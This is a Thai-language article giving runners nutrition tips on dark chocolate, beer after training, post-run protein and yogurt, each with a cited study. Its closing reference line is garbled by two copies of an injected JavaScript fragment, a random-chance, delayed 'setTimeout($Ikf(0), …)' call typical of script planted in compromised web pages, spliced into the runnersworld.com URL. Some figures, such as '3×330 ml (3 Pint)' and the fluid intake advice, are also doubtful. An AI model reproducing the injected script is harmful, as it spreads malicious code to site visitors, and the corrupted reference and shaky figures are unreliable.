นักวิ่งโปรดทราบ!!…กินไม่เลือก ระวังวิ่งช้าลง

นักวิทยาศาสตร์กล่าวไว้ว่า “You are what you eat” กินอะไรก็ได้สิ่งนั้น ซึ่งเช่นกันสำหรับนักวิ่ง อาหารการกินมีผลต่อ Performance เป็นแหล่งพลังงานสำหรับการออกกำลังกายและการ Recovery เมื่อเวลาพักผ่อน หรือแม้แต่นักเล่นกล้ามที่มีคำกล่าวที่ว่า “Abs made in kitchen” หรือกล้ามหน้าท้องสร้างได้จากห้องครัว

ดำและดี ช็อกโกแล็ตดำมีดีกว่าที่คิด

จากผลการวิจัยของ London’s Kingston University พบว่าช็อกโกแลตดำมีผลต่อการเพิ่ม Performance โดยพบว่านักปั่นจักรยานที่รับประทาน ช็อกโกแลตดำ 2 ออนซ์ (ประมาณ 56.69 กรัม) ทุกวันในระยะ 2 สัปดาห์ จะปั่นจักรยานได้ไกลและมีความอึดทึกทนต่อแผนที่ฝึกได้ดีขึ้น ซึ่งสาเหตุสำคัญที่นักวิทยาศาตร์คิดว่ามีส่วนสำคัญในการเพิ่มประสิทธิภาพการวิ่งเพิ่มขึ้นอาจเป็นเพราะ Epicatechin ที่ส่งผลอ้อมๆ ในการเพิ่ม Nitric oxide ช่วยให้ Blodflow มากขึ้น ผลคือทำให้ลำเลียงออกซิเจนสู่กล้ามเนื้อได้มาก นอกจากนี้น้ำผลไม้ บีทรูท ก็มีผลที่คล้ายเคียงกัน

ข้อควรระวัง นักวิ่งคนไหนที่ต้องการรับช็อกโกแลตดำเป็นประจำทุกวันแนะนำว่า ให้ระวังเรื่องแคลอรี่เกิน เดียวจะอ้วนเอา เพราะแค่ 2 ออนซ์ก็ปาไป 300 แคลอรี่แล้ว

เบียร์ค่อยกิน

การดื่มเบียร์หลังจบการฝึกซ้อมหรือการแข่งขัน ส่งผลเสียต่อร่างกาย จากการศึกษาของ University of Costa Rica เปรียบเทียบการดื่มเบียร์และน้ำเปล่า 1 ชั่วโมงหลังออกกำลังกาย ปริมาณ 3×330 ml (3 Pint) พบว่า นักกีฬาที่ดื่มเบียร์มีสภาวะสมดุลน้ำแย่กว่าคนดื่มน้ำเปล่า การต่อสนองจะช้าและมีปัสสาวะเพิ่มมากขึ้น อันเป็นเหตุที่ทำให้การรักษาบาลานซ์ของเหลวในร่างกายแย่ลง

นักวิ่งควรรับน้ำประมาณ 800-1200 ml ต่อน้ำหนักร่างกาย 1 กิโลกรัม ที่สูญหายไปหลังจบการวิ่ง

โปรตีนขาดไม่ได้

จากผลการศึกษาของ American College of Sports Medicine’s Annual Meeting พบว่านักปั่นจักรยานที่ปั่นทดสอบ 100 นาทีและดื่มเวย์โปรตีนไปด้วย (ที่มีโปรตีนผสม 85 กับ 28 กรัม) กรดอะมิโนที่ได้จากโปรตีนจะช่วยเร่งสร้างฟื้นฟูกล้ามเนื้อได้ดีขึ้น และปริมาณโปรตีนที่ผสมจะมากหรือน้อย มีผลเหมือนกัน

เพื่อการฟื้นฟูที่ดี นักวิ่งควรรับโปรตีนที่ได้จาก นม ไข่ เนื้อและปลา เป็นต้น ประมาณ 25 ถึง 30 กรัม หลังจบการวิ่ง

โยเกิร์ตดีต่อลำไส้ดีต่อนักวิ่ง

เพราะโยเกิร์ตมีแบคทีเรียที่ดีต่อสุขภาพและลำไส้ นักวิจัยไอซ์แลนด์ได้ศึกษาเปรียบเทียบระหว่างคนอ้วนและนักรักบี้อาชีพ พบว่านักรักบี้มีแบคทีเรียในลำไส้ที่ดีมากว่าคนอ้วน และการมีแบคทีเรียที่ดีต่อสุขภาพลำไส้ โดยเฉพาะสายพันธุ์ Akkermansiaceae ที่มีมาก และทำให้โอกาสเป็นโรคเบาหวานและอาการอักเสบลดลง

อ้างอิงandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-drinks-that-help-andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-hurt-your-running”>www.runnersworld.com